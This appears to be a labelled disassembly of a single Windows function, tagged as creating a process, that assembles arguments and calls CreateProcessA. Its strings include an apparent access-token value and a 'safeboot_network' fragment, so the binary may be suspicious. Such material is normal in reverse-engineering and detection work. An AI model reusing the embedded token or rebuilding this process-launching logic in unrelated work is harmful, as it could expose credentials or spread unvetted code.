Function at 0x1400c5730
Capabilities:
Create process on windows

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x408
movups xmmword [rsp + 0x3e0], xmm6
movups xmmword [rsp + 0x3f0], xmm7
call fcn.140003210
lea rax, [rsp + 0x130]
xor r8d, r8d
movdqu xmm7, xmmword [str._CURRENT_DERECTORY_]
movd xmm6, dword [0x1400cb960]
mov rdx, rax
lea rcx, [rsp + 0x210]
lea rbp, [rsp + 0x220]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x210], rbp
mov qword [rsp + 0x130], 0x13
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x1a0], xmm7
movd dword [rsp + 0x1b0], xmm6
call fcn.1400b2a30
pxor xmm0, xmm0
mov ecx, 0x40
mov rdx, qword [rsp + 0x130]
movdqu xmm2, xmmword [rsp + 0x1a0]
mov qword [rsp + 0x210], rax
mov qword [rsp + 0x220], rdx
movups xmmword [rax], xmm2
mov edx, dword [rsp + 0x1af]
mov qword [rsp + 0xa0], 0
mov dword [rax + 0xf], edx
mov rax, qword [rsp + 0x130]
mov rdx, qword [rsp + 0x210]
movups xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0x218], rax
mov byte [rdx + rax], 0
lea rax, [rsp + 0x240]
mov dword [rsp + 0x110], 0x656c6966
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x230], rax
mov dword [rsp + 0x240], 0x656c6966
mov qword [rsp + 0x238], 4
mov byte [rsp + 0x244], 0
call fcn.1400c4ec0
mov rbx, qword [rsp + 0x218]
lea r14, [rax + 0x40]
lea rcx, [rax + 0x10]
mov qword [rsp + 0x90], rax
mov qword [rax], rcx
mov rsi, qword [rsp + 0x210]
mov r12, rax
mov qword [rsp + 0xa0], r14
mov qword [rsp + 0x130], rbx
cmp rbx, 0xf
ja 0x14000feb7
cmp rbx, 1
je 0x14000fe46
test rbx, rbx
jne 0x14000fedb
mov qword [r12 + 8], rbx
lea rsi, [r12 + 0x20]
mov byte [rcx + rbx], 0
mov rbx, qword [rsp + 0x238]
lea rcx, [r12 + 0x30]
mov qword [r12 + 0x20], rcx
mov rdi, qword [rsp + 0x230]
mov qword [rsp + 0x130], rbx
cmp rbx, 0xf
ja 0x14000fef7
cmp rbx, 1
je 0x14000feaa
test rbx, rbx
jne 0x14000ff1c
mov qword [r12 + 0x28], rbx
mov rax, qword [rsp + 0x58]
mov byte [rcx + rbx], 0
mov rcx, qword [rsp + 0x230]
mov qword [rsp + 0x98], r14
cmp rcx, rax
je 0x14000f4c9
mov rax, qword [rsp + 0x240]
lea rdx, [rax + 1]
call fcn.1400c4e80
mov rcx, qword [rsp + 0x210]
cmp rcx, rbp
je 0x14000f4e7
mov rax, qword [rsp + 0x220]
lea rdx, [rax + 1]
call fcn.1400c4e80
mov ecx, 0x68
call fcn.1400c4ec0
pxor xmm0, xmm0
mov ecx, 0x40
mov rsi, rax
mov qword [rsp + 0x220], 0
movups xmmword [rsp + 0x210], xmm0
call fcn.1400c4ec0
mov rdi, qword [r12 + 8]
lea r13, [rax + 0x40]
lea rcx, [rax + 0x10]
mov rbx, rax
movq xmm3, rax
mov qword [rsp + 0x220], r13
mov r15, qword [r12]
movddup xmm0, xmm3
mov qword [rax], rcx
mov qword [rsp + 0x1a0], rdi
movups xmmword [rsp + 0x210], xmm0
cmp rdi, 0xf
ja 0x140010034
cmp rdi, 1
je 0x14000ffe1
test rdi, rdi
jne 0x140010059
mov qword [rbx + 8], rdi
lea rax, [rbx + 0x20]
mov byte [rcx + rdi], 0
mov rdi, qword [r12 + 0x28]
lea rcx, [rbx + 0x30]
mov qword [rbx + 0x20], rcx
mov r15, qword [r12 + 0x20]
mov qword [rsp + 0x1a0], rdi
cmp rdi, 0xf
ja 0x14000ffed
cmp rdi, 1
je 0x14000ffd5
test rdi, rdi
jne 0x140010018
mov qword [rbx + 0x28], rdi
mov rdx, qword [rsp + 0x50]
mov byte [rcx + rdi], 0
mov rcx, rsi
mov qword [rsp + 0x218], r13
call fcn.14000e0f0
mov rbx, qword [rsp + 0x218]
mov rdi, qword [rsp + 0x210]
cmp rbx, rdi
je 0x14000f60e
mov rcx, qword [rdi]
lea rax, [rdi + 0x10]
cmp rcx, rax
je 0x14000fe58
mov rax, qword [rdi + 0x10]
add rdi, 0x20
lea rdx, [rax + 1]
call fcn.1400c4e80
cmp rbx, rdi
jne 0x14000f5e0
mov rdi, qword [rsp + 0x210]
test rdi, rdi
je 0x14000f626
mov rdx, qword [rsp + 0x220]
mov rcx, rdi
sub rdx, rdi
call fcn.1400c4e80
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax]
mov rdi, qword [rsp + 0x50]
lea rax, [rsp + 0x1a0]
movdqu xmm0, xmmword [str.6e939590f83ce03501144aa1482aa88b83c8b8f1ce17c94b568e8b1b221eb813c4befce3e76bbae575ecd4d57608d11bexample.]
mov byte [rsp + 0x1c0], 0
mov rcx, qword [rsi + 0x30]
mov edx, dword [rsi + 0x38]
mov r9, rax
mov qword [rsp + 0x68], rax
movups xmmword [rsp + 0x1a0], xmm0
movdqu xmm0, xmmword [0x1400cb980]
mov r8, rdi
mov byte [rsp + 0x250], 0
movups xmmword [rsp + 0x1b0], xmm0
movdqu xmm0, xmmword [0x1400cb990]
movups xmmword [rsp + 0x210], xmm0
movdqu xmm0, xmmword [0x1400cb9a0]
movups xmmword [rsp + 0x220], xmm0
movdqu xmm0, xmmword [0x1400cb9b0]
movups xmmword [rsp + 0x230], xmm0
movdqu xmm0, xmmword [0x1400cb9c0]
movups xmmword [rsp + 0x240], xmm0
call fcn.140009920
mov rdx, qword [rsp + 0x60]
xor r8d, r8d
mov rcx, rdi
mov qword [rsp + 0x210], rbp
mov qword [rsp + 0x130], 0x13
movups xmmword [rsp + 0x1a0], xmm7
movd dword [rsp + 0x1b0], xmm6
call fcn.1400b2a30
mov rdx, qword [rsp + 0x130]
mov qword [rsp + 0x210], rax
pxor xmm0, xmm0
mov ecx, 0x40
movdqu xmm1, xmmword [rsp + 0x1a0]
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0x220], rdx
movups xmmword [rax], xmm1
mov edx, dword [rsp + 0x1af]
mov qword [rsp + 0xc0], 0
mov dword [rax + 0xf], edx
mov rax, qword [rsp + 0x130]
mov rdx, qword [rsp + 0x210]
mov qword [rsp + 0x218], rax
mov byte [rdx + rax], 0
mov rax, qword [0x1400cb9d0]
mov dword [rsp + 0x138], 0x657865
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x238], 0xb
mov qword [rsp + 0x230], rax
movabs rax, 0x2e656c706d617865
mov qword [rsp + 0x240], rax
mov eax, dword [rsp + 0x137]
mov byte [rsp + 0x24b], 0
mov dword [rsp + 0x247], eax
call fcn.1400c4ec0
mov rdi, qword [rsp + 0x218]
lea r15, [rax + 0x40]
lea rcx, [rax + 0x10]
mov qword [rsp + 0xb0], rax
mov qword [rax], rcx
mov r13, qword [rsp + 0x210]
mov rbx, rax
mov qword [rsp + 0xc0], r15
mov qword [rsp + 0x110], rdi
cmp rdi, 0xf
ja 0x14000ff51
cmp rdi, 1
je 0x14000ff39
test rdi, rdi
jne 0x14000ff76
mov qword [rbx + 8], rdi
lea r13, [rbx + 0x20]
mov byte [rcx + rdi], 0
mov rax, qword [rsp + 0x230]
lea rcx, [rbx + 0x30]
mov rdi, qword [rsp + 0x238]
mov qword [rbx + 0x20], rcx
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x110], rdi
cmp rdi, 0xf
ja 0x14000ff91
cmp rdi, 1
je 0x14000ff46
test rdi, rdi
jne 0x14000ffb7
mov qword [rbx + 0x28], rdi
mov rax, qword [rsp + 0x58]
mov byte [rcx + rdi], 0
mov rcx, qword [rsp + 0x230]
mov qword [rsp + 0xb8], r15
cmp rcx, rax
je 0x14000f892
mov rax, qword [rsp + 0x240]
lea rdx, [rax + 1]
call fcn.1400c4e80
mov rcx, qword [rsp + 0x210]
cmp rcx, rbp
je 0x14000f8b0
mov rax, qword [rsp + 0x220]
lea rdx, [rax + 1]
call fcn.1400c4e80
pxor xmm0, xmm0
mov ecx, 0x40
mov qword [rsp + 0x220], 0
movups xmmword [rsp + 0x210], xmm0
call fcn.1400c4ec0
mov rdi, rax
movq xmm4, rax
mov rbp, qword [rbx + 8]
lea rax, [rax + 0x40]
movddup xmm0, xmm4
lea rcx, [rdi + 0x10]
mov qword [rsp + 0x58], rax
mov r13, qword [rbx]
mov qword [rsp + 0x220], rax
mov qword [rdi], rcx
mov qword [rsp + 0x1a0], rbp
movups xmmword [rsp + 0x210], xmm0
cmp rbp, 0xf
ja 0x1400100e1
cmp rbp, 1
jne 0x140010090
movzx eax, byte [r13]
mov byte [rdi + 0x10], al
mov qword [rdi + 8], rbp
lea r13, [rdi + 0x20]
mov byte [rcx + rbp], 0
mov rax, qword [rbx + 0x20]
lea rcx, [rdi + 0x30]
mov rbp, qword [rbx + 0x28]
mov qword [rdi + 0x20], rcx
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x1a0], rbp
cmp rbp, 0xf
ja 0x1400100a0
cmp rbp, 1
jne 0x140010084
movzx eax, byte [rax]
mov byte [rdi + 0x30], al
mov rax, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x50]
mov qword [rdi + 0x28], rbp
mov byte [rcx + rbp], 0
mov qword [rsp + 0x218], rax
lea rax, [rsp + 0xf0]
mov rcx, rax
mov qword [rsp + 0x88], rax
call fcn.14000d220
mov rdi, qword [rsp + 0x218]
mov rbp, qword [rsp + 0x210]
cmp rdi, rbp
je 0x14000f9e7
nop dword [rax + rax]
mov rcx, qword [rbp]
lea rax, [rbp + 0x10]
cmp rcx, rax
je 0x14000fe98
mov rax, qword [rbp + 0x10]
add rbp, 0x20
lea rdx, [rax + 1]
call fcn.1400c4e80
cmp rbp, rdi
jne 0x14000f9b8
mov rbp, qword [rsp + 0x210]
test rbp, rbp
je 0x14000f9ff
mov rdx, qword [rsp + 0x220]
mov rcx, rbp
sub rdx, rbp
call fcn.1400c4e80
lea rdi, [rsp + 0x2d8]
mov rcx, rdi
mov qword [rsp + 0x70], rdi
call fcn.1400bc640
pxor xmm0, xmm0
mov rcx, qword [rsp + 0x50]
xor edx, edx
mov rax, qword [0x1400d1b50]
movups xmmword [rsp + 0x3c0], xmm0
movups xmmword [rsp + 0x3d0], xmm0
mov qword [rsp + 0x3b0], 0
add rax, 0x10
mov qword [rsp + 0x2d8], rax
xor eax, eax
mov word [rsp + 0x3b8], ax
mov rax, qword [0x1400d16f0]
mov r13, qword [rax + 8]
mov rax, qword [rax + 0x10]
add rcx, qword [r13 - 0x18]
mov qword [rsp + 0x210], r13
mov qword [rcx], rax
mov qword [rsp + 0x58], rax
call fcn.1400bd680
mov rax, qword [0x1400d18c0]
lea rbp, [rsp + 0x218]
mov rcx, rbp
add rax, 0x18
mov qword [rsp + 0x210], rax
mov rax, qword [0x1400d18c0]
add rax, 0x40
mov qword [rsp + 0x2d8], rax
call fcn.140094430
mov rdx, rbp
mov rcx, rdi
call fcn.1400bd680
mov rdx, qword [rsp + 0xf0]
mov r8d, 0x14
mov rcx, rbp
call fcn.140092a40
mov rdx, qword [rsp + 0x210]
mov rcx, qword [rsp + 0x50]
add rcx, qword [rdx - 0x18]
test rax, rax
je 0x140010074
xor edx, edx
call fcn.1400bd850
mov rdx, qword [rsi + 0x30]
mov r8, qword [rsi + 0x38]
mov rcx, qword [rsp + 0x50]
call fcn.140084370
mov rcx, rbp
call fcn.140092e90
mov rsi, qword [0x1400d18c0]
mov rdx, rax
mov rax, qword [0x1400d18a0]
add rsi, 0x18
add rax, 0x10
movq xmm6, rsi
movq xmm5, rax
punpcklqdq xmm6, xmm5
test rdx, rdx
je 0x14001011e
pxor xmm0, xmm0
mov rdi, qword [rsp + 0x68]
xor eax, eax
mov ecx, 0xd
movups xmmword [rsp + 0xd0], xmm0
movdqu xmm0, xmmword [str.___access_token_fbc1d41e061477f4d86e5fe7fc226222216e24a2bb9cfdd6b4f333102d651105___safeboot_netw]
lea rsi, [rsp + 0x110]
rep stosq qword [rdi], rax
mov rcx, rsi
mov rax, qword [rsp + 0xf0]
mov rdi, qword [rsp + 0xf8]
movups xmmword [rsp + 0x130], xmm0
movdqu xmm0, xmmword [0x1400cb9f0]
mov qword [rsp + 0x78], rax
lea rdx, [rdi + 0x63]
lea rax, [rsp + 0x120]
movups xmmword [rsp + 0x140], xmm0
movdqu xmm0, xmmword [0x1400cba00]
mov qword [rsp + 0xe0], 0
movups xmmword [rsp + 0x150], xmm0
movdqu xmm0, xmmword [0x1400cba10]
mov dword [rsp + 0x190], 0x6b726f
movups xmmword [rsp + 0x160], xmm0
movdqu xmm0, xmmword [0x1400cba20]
mov qword [rsp + 0x80], rax
movups xmmword [rsp + 0x170], xmm0
movdqu xmm0, xmmword [0x1400cba30]
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 0
mov byte [rsp + 0x120], 0
movups xmmword [rsp + 0x180], xmm0
call fcn.1400b27a0
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0x118]
cmp rax, rdi
jb 0x14001014b
mov rdx, qword [rsp + 0x78]
mov r8, rdi
mov rcx, rsi
call fcn.1400b28e0
movabs rax, 0x3fffffffffffffff
sub rax, qword [rsp + 0x118]
cmp rax, 0x62
jbe 0x14001013f
mov rdx, qword [rsp + 0x60]
mov r8d, 0x63
mov rcx, rsi
call fcn.1400b28e0
lea rax, [rsp + 0xd0]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x68]
mov dword [rsp + 0x28], 0x10
mov rdx, qword [rsp + 0x110]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call fcn.140002e80
mov rcx, qword [rsp + 0x110]
mov rax, qword [rsp + 0x80]
cmp rcx, rax
je 0x14000fcfd
mov rax, qword [rsp + 0x120]
lea rdx, [rax + 1]
call fcn.1400c4e80
mov rax, qword [0x1400d18c0]
mov rcx, rbp
movups xmmword [rsp + 0x210], xmm6
add rax, 0x40
mov qword [rsp + 0x2d8], rax
call fcn.140092e90
lea rcx, [rsp + 0x260]
call fcn.14008c680
mov rax, qword [0x1400d1900]
lea rcx, [rsp + 0x250]
add rax, 0x10
mov qword [rsp + 0x218], rax
call fcn.1400ade80
mov rax, qword [r13 - 0x18]
mov rsi, qword [rsp + 0x58]
mov qword [rsp + 0x210], r13
mov rcx, qword [rsp + 0x70]
mov qword [rsp + rax + 0x210], rsi
mov rax, qword [0x1400d1b50]
add rax, 0x10
mov qword [rsp + 0x2d8], rax
call fcn.1400bc6e0
mov rcx, qword [rsp + 0xf0]
lea rax, [rsp + 0x100]
cmp rcx, rax
je 0x14000fda9
mov rax, qword [rsp + 0x100]
lea rdx, [rax + 1]
call fcn.1400c4e80
mov rsi, rbx
nop dword [rax]
mov rcx, qword [rsi]
lea rax, [rsi + 0x10]
cmp rcx, rax
je 0x14000fe80
mov rax, qword [rsi + 0x10]
add rsi, 0x20
lea rdx, [rax + 1]
call fcn.1400c4e80
cmp r15, rsi
jne 0x14000fdb0
mov rcx, rbx
mov edx, 0x40
mov rbx, r12
call fcn.1400c4e80
nop word cs:[rax + rax]
mov rcx, qword [rbx]
lea rax, [rbx + 0x10]
cmp rcx, rax
je 0x14000fe70
mov rax, qword [rbx + 0x10]
add rbx, 0x20
lea rdx, [rax + 1]
call fcn.1400c4e80
cmp r14, rbx
jne 0x14000fdf0
mov edx, 0x40
mov rcx, r12
call fcn.1400c4e80
nop
movups xmm6, xmmword [rsp + 0x3e0]
movups xmm7, xmmword [rsp + 0x3f0]
xor eax, eax
add rsp, 0x408
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
movzx eax, byte [rsi]
mov byte [r12 + 0x10], al
jmp 0x14000f448
add rdi, 0x20
cmp rbx, rdi
jne 0x14000f5e0
jmp 0x14000f606
add rbx, 0x20
cmp r14, rbx
jne 0x14000fdf0
jmp 0x14000fe12
add rsi, 0x20
cmp r15, rsi
jne 0x14000fdb0
jmp 0x14000fdd6
add rbp, 0x20
cmp rdi, rbp
jne 0x14000f9b8
jmp 0x14000f9df
movzx eax, byte [rdi]
mov byte [r12 + 0x30], al
jmp 0x14000f495
mov rdx, qword [rsp + 0x60]
xor r8d, r8d
mov rcx, rax
call fcn.1400b2a30
mov qword [r12], rax
mov rcx, rax
mov rax, qword [rsp + 0x130]
mov qword [r12 + 0x10], rax
mov r8, rbx
mov rdx, rsi
call sub.msvcrt.dll_memcpy
mov rbx, qword [rsp + 0x130]
mov rcx, qword [r12]
jmp 0x14000f448
mov rdx, qword [rsp + 0x60]
xor r8d, r8d
mov rcx, rsi
call fcn.1400b2a30
mov qword [r12 + 0x20], rax
mov rcx, rax
mov rax, qword [rsp + 0x130]
mov qword [r12 + 0x30], rax
mov r8, rbx
mov rdx, rdi
call sub.msvcrt.dll_memcpy
mov rbx, qword [rsp + 0x130]
mov rcx, qword [r12 + 0x20]
jmp 0x14000f495
movzx eax, byte [r13]
mov byte [rbx + 0x10], al
jmp 0x14000f811
movzx eax, byte [rax]
mov byte [rbx + 0x30], al
jmp 0x14000f85f
lea rdx, [rsp + 0x110]
xor r8d, r8d
mov rcx, rax
call fcn.1400b2a30
mov qword [rbx], rax
mov rcx, rax
mov rax, qword [rsp + 0x110]
mov qword [rbx + 0x10], rax
mov r8, rdi
mov rdx, r13
call sub.msvcrt.dll_memcpy
mov rdi, qword [rsp + 0x110]
mov rcx, qword [rbx]
jmp 0x14000f811
lea rdx, [rsp + 0x110]
xor r8d, r8d
mov rcx, r13
call fcn.1400b2a30
mov qword [rbx + 0x20], rax
mov rcx, rax
mov rax, qword [rsp + 0x110]
mov qword [rbx + 0x30], rax
mov rdx, qword [rsp + 0x70]
mov r8, rdi
call sub.msvcrt.dll_memcpy
mov rdi, qword [rsp + 0x110]
mov rcx, qword [rbx + 0x20]
jmp 0x14000f85f
movzx eax, byte [r15]
mov byte [rbx + 0x30], al
jmp 0x14000f5ae
movzx eax, byte [r15]
mov byte [rbx + 0x10], al
jmp 0x14000f56b
lea rdx, [rsp + 0x1a0]
xor r8d, r8d
mov rcx, rax
mov qword [rsp + 0x68], rax
call fcn.1400b2a30
mov qword [rbx + 0x20], rax
mov rcx, rax
mov rax, qword [rsp + 0x1a0]
mov qword [rbx + 0x30], rax
mov r8, rdi
mov rdx, r15
call sub.msvcrt.dll_memcpy
mov rdi, qword [rsp + 0x1a0]
mov rcx, qword [rbx + 0x20]
jmp 0x14000f5ae
lea rdx, [rsp + 0x1a0]
xor r8d, r8d
mov rcx, rax
call fcn.1400b2a30
mov qword [rbx], rax
mov rcx, rax
mov rax, qword [rsp + 0x1a0]
mov qword [rbx + 0x10], rax
mov r8, rdi
mov rdx, r15
call sub.msvcrt.dll_memcpy
mov rdi, qword [rsp + 0x1a0]
mov rcx, qword [rbx]
jmp 0x14000f56b
mov edx, dword [rcx + 0x20]
or edx, 4
call fcn.1400bd850
jmp 0x14000faf8
test rbp, rbp
je 0x14000f96c
jmp 0x1400100c3
test rbp, rbp
je 0x14000f929
jmp 0x140010103
mov rdx, qword [rsp + 0x68]
xor r8d, r8d
mov rcx, r13
call fcn.1400b2a30
mov qword [rdi + 0x20], rax
mov rcx, rax
mov rax, qword [rsp + 0x1a0]
mov qword [rdi + 0x30], rax
mov rdx, qword [rsp + 0x70]
mov r8, rbp
call sub.msvcrt.dll_memcpy
mov rbp, qword [rsp + 0x1a0]
mov rcx, qword [rdi + 0x20]
jmp 0x14000f96c
mov rdx, qword [rsp + 0x68]
xor r8d, r8d
mov rcx, rdi
call fcn.1400b2a30
mov qword [rdi], rax
mov rcx, rax
mov rax, qword [rsp + 0x1a0]
mov qword [rdi + 0x10], rax
mov r8, rbp
mov rdx, r13
call sub.msvcrt.dll_memcpy
mov rbp, qword [rsp + 0x1a0]
mov rcx, qword [rdi]
jmp 0x14000f929
mov rax, qword [rsp + 0x210]
mov rcx, qword [rsp + 0x50]
add rcx, qword [rax - 0x18]
mov edx, dword [rcx + 0x20]
or edx, 4
call fcn.1400bd850
jmp 0x14000fb42
lea rcx, [0x1400cb930]
call fcn.1400c6b50
lea rcx, [0x1400cb930]
call fcn.1400c6b50
mov rcx, rax
call fcn.1400c4fe0
mov rax, qword [rsp + 0x68]
cmp rbx, rax
je 0x1400101fd
mov rcx, rbx
add rbx, 0x20
call fcn.1400aff30
jmp 0x14001015f
lea rcx, [rsp + 0x90]
call fcn.1400ae7a0
mov rcx, rbx
call fcn.14001bba0
call fcn.1400c54a0
mov rbx, rax
call fcn.1400c5110
mov rcx, qword [rsp + 0x210]
mov rdx, qword [rsp + 0x220]
sub rdx, rcx
test rcx, rcx
je 0x140010227
call fcn.1400c4e80
mov edx, 0x68
mov rcx, rsi
call fcn.1400c4e80
jmp 0x1400101e8
sub rsp, 0x28
call fcn.14001a217
nop
add rsp, 0x28
jmp 0x14000f2c0